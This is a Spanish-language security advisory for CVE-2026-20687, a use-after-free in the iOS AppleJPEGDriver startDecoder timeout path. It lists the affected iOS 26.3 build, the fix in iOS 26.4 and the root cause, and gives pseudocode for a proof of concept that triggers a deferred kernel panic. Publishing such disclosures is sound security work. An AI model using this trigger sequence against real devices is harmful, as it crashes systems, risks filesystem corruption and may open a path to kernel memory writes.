
CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — vulnerabilidad del kernel de iOS/macOS que provoca un pánico diferido (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 · Enfilade · enfilade.io
Componente: Kernel
Impacto: Una app podría provocar la terminación inesperada del sistema o escribir en la memoria del kernel.
Descripción: Se solucionó un problema de use after free con una mejor gestión de la memoria.
| iOS | 26.3 (23D125) (probado) |
| macOS | — |
| Componente | AppleJPEGDriver |
| Parcheado | iOS 26.4 / iPadOS 26.4 |
| Hardware | iPhone18,2 (iPhone 17 Pro Max, A19 Pro) |
Ejecutar el PoC provocará un kernel panic en el dispositivo. Guarda tu trabajo antes de ejecutarlo. Los panics repetidos pueden causar corrupción del sistema de archivos. Solo para fines de investigación de seguridad.
La ruta de timeout en startDecoder_sync libera una solicitud pero deja su puntero de nodo de cola incrustado en el vector por códec. Una posterior recorrida de la cola desreferencia el nodo obsoleto y el kernel entra en panic bajo la verificación de etiquetas MTE. El panic normalmente se difiere hasta que se ejecuta una decodificación JPEG síncrona posterior — en iPhone esto ocurre de forma fiable cuando se abre la app Cámara.
// Prepara el driver; el panic normalmente se difiere hasta que se abre Cámara.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated: vector.push(req + 0x78)
}
IOServiceClose(conn);
// Más tarde, abrir Cámara desencadena:
startDecoder_sync();
queue_io_gated: vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: NO hace dequeue (req + 0x78)
// Aún más tarde (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // obsoleto: node_ptr == (req liberado + 0x78)
req2 = *(node_ptr + 0x8); // lectura UAF -> fallo de etiqueta MTE -> panic
ios-app/Test.xcodeproj en Xcode.Consulta LICENSE.